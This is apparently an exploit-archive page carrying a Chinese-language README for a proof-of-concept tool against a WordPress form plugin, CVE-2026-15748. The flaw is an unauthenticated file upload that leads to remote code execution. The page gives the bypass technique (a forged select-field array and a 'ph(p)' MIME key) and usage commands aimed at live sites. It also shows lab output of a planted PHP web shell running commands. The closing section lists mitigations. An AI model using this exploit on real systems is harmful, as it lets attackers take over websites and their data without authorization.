Sploitus

Exploit for CVE-2026-15748

kitploit · 2026-09-02

Exploit Code

MARKDOWN106 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-UBAYDEV-CVE-2026-15748
# CVE-2026-15748 — Forminator Forms 未认证任意文件上传 → RCE

**CVSS 9.8(严重)** · 受影响:Forminator `<= 1.56.1` · 已修复:`1.56.2` 研究人员:daroo(Wordfence 漏洞赏金计划,$2,048)· 约 60 万活跃安装 分析文章:wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

## 根因链条

通过伪造的 Select 字段值串联起三个弱点:

  1. **嵌套字段数组无清理处理** — `Forminator_CForm_Front_Action::set_field_data()` `prepare_fields_info()` 会遍历每个已存储字段。对于已存储的 Select 字段 `select-1`, `$field_data = prepared_data['select-1']`(攻击者可控的嵌套数组)。当其携带 `return` 时,该数组会整体追加到 `field_data_array`(front-action.php 约第 1088 行), 发生在任何逐字段清理/校验之前。`maybe_handle_custom_option()` 不会剥离这些内容。

  2. **不可信的字段配置在上传时被信任** — `Forminator_CForm_Front_Action::process_uploads()` 遍历 `field_data_array`,信任伪造的 `field_type == 'upload'`,使用伪造的 `name` 选择 `$_FILES` 输入,并将伪造的 `field_array` 作为受信任配置传入 `Forminator_Upload::handle_file_upload()`。

  3. **黑名单精确键绕过** — `forminator_allowed_mime_types()` 会剥离字面键 `php`,但 `wp_check_filetype()` 将键视为**正则表达式** 。键 `ph(p)` 绕过了黑名单却仍能匹配 `.php` 后缀。`additional-type = ph(p)|text/x-php` 使 `.php` 文件通过校验。




## 可利用条件

已发布的表单必须**同时** 包含文件上传字段和 Select 字段。Select 仅作为载体。

## 执行注意事项(实验室已验证)

  * 任意 `.php` 文件上传到磁盘**默认即可成功** (写入无需特殊配置)。
  * **RCE 要求上传根目录不存在 Apache`.htaccess`。** Forminator 默认根目录和自定义 根目录都会生成一个阻止 PHP 的 `.htaccess`(`SetHandler none` / `RemoveHandler`)。仅当该 `.htaccess` 不存在时 RCE 才会触发——即分析文章中描述的“自定义存储根目录在前端请求期间创建, 而 `insert_with_markers()` 未被加载”的场景。
  * 在实验室中,我们通过使用自定义存储根目录并模拟无 `.htaccess` 状态实现了 RCE。



## 上传路径与哈希(对实际测试很重要)

  * **默认根目录:** `wp-content/uploads/forminator/` → 文件位于 `wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>`。
  * **自定义根目录:** 如果管理员设置了 `forminator_custom_upload_root`(例如 `cveuploads`),文件将存放于 `wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>`。
  * `hash` 即 `wp_hash($form_id)` — 由站点的 AUTH 盐派生,因此**无法从外部预测** 。 `poc.py` 会打印路径模式;要补全它,您必须通过 `--form-hash` 恢复哈希(例如目录列表、 已有上传文件的 URL/日志、管理后台条目等)。
  * 上传文件名 = `wp_generate_password(12,false,false) . '-' . <original>` → 例如 `cX3fRjMDDu03-shell.php`(12 位随机字母数字字符 + `-` \+ 原始名称)。



## 用法 — `poc.py`

设计上以实际目标优先;本地实验室辅助功能(文件系统扫描、`.htaccess` 移除)仅限 `http://wordpresslab.test` / `http://localhost` 使用。

root@kitploit:~
    
    
    # A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
    python3 poc.py --target https://site.tld/                       # url-only -> fetches index
    python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
    python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42
    
    # B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
    
    # C) Verify a candidate shell URL on a live target
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
        --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
    
    # D) local lab: full RCE (scans container FS, removes .htaccess, executes)
    python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
    

### 参数

### `--auto` 值映射(从表单 HTML 采集)

跳过的字段:内部字段(`action`/`form_id`/nonce/...)、`type="file"`(`upload-*`)、`select-*` (漏洞载体)、`calculation-*`(计算字段)以及外部插件字段(`wpforms[...]`)。

## 实验室复现(wordpresslab.test,WP 6.9.4 + Forminator 1.56.1)

环境搭建:

  * 包含真实上传字段 + Select 字段的表单(通过 `build_form.php` 和 `Forminator_Form_Model` API 构建)。
  * 启用自定义上传存储根目录(`forminator_custom_upload`=1,`forminator_custom_upload_root`=cveuploads) 以便演示 RCE。`cveuploads/` 是**实验室产物** ,并非 Forminator 默认配置。
  * **设计说明:** 为了获得干净的 `success=True`,伪造的 `name` 应与真实上传字段的 `element_id` 不同。碰撞名称仍会上传文件,但真实字段还会运行自身的默认 MIME 检查 → 响应会报告错误,而 shell 此时已经落盘。



原始证据(实验室运行):

root@kitploit:~
    
    
    # default path pattern (hash is site-secret):
    wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
    
    [+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
    ?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ?c=whoami -> CVE-2026-15748-RCE www-data
    
    # .htaccess present (protected): request returns raw PHP source (not executed)
    

## 文件

  * `poc.py` — 面向实际目标的 PoC(自动发现、自动填写、verify-url、本地 RCE 辅助)
  * `build_form.php` — 通过模型 API 以编程方式构建实验室表单(上传 + select)
  * `README.md` — 本文档



## 缓解措施

  * 升级到 Forminator >= 1.56.2(阻止 MIME 黑名单绕过 + 受信任字段配置路径)。
  * 确保任何自定义上传存储根目录都受到 Forminator `.htaccess`/index 保护机制的覆盖。
  * 仅对您已获授权测试的目标运行 PoC。